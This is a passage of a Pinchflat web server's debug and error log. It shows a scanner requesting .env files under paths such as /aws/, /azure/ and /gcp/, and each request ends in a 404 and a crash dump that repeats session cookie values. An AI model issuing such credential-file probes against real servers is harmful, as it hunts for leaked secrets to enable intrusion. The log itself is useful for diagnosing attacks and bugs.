{Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/transactional/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 172, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8S (truncated) 02:10:20.740 [info] GET /bulk/.env 02:10:20.741 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=185.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.742 [debug] QUERY OK source="settings" db=0.4ms idle=121.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.742 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.742 [error] #PID<0.3477.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 173) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /bulk/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bulk/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bulk/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 173, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3477.0>, params: %{}, path_info: ["bulk", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/bulk/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk62Q-1pYAHEAAASsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bulk/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 173, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bulk/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bulk/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 173, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:20.810 [info] GET /aws/.env 02:10:20.811 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=190.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.812 [debug] QUERY OK source="settings" db=0.3ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.812 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.813 [error] #PID<0.3478.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 174) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /aws/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 174, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3478.0>, params: %{}, path_info: ["aws", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/aws/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk62hvTqLj8YsAAStB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 174, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /aws/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/aws/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 174, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:20.868 [info] GET /azure/.env 02:10:20.868 [debug] QUERY OK source="settings" db=0.2ms idle=189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.869 [debug] QUERY OK source="settings" db=0.0ms idle=127.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.869 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.869 [error] #PID<0.3479.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 175) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /azure/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /azure/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 175, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3479.0>, params: %{}, path_info: ["azure", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/azure/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk62vjuR7CSIEAASuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 175, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /azure/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/azure/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 175, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:20.937 [info] GET /gcp/.env 02:10:20.938 [debug] QUERY OK source="settings" db=0.4ms idle=195.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.938 [debug] QUERY OK source="settings" db=0.2ms idle=126.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:20.939 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:20.939 [error] #PID<0.3480.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 176) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /gcp/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /gcp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/gcp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 